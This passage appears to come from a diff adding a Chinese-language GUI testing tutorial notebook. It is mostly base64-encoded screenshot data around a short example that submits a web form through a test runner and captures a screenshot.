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
+)
+
+`submit()`操作提交订单。 （请注意，我们的Web服务器不做任何努力来验证表单。）
+
+```py
+gui_runner.run("submit('submit')")
+
+```
+
+```py
+("submit('submit')", 'PASS')
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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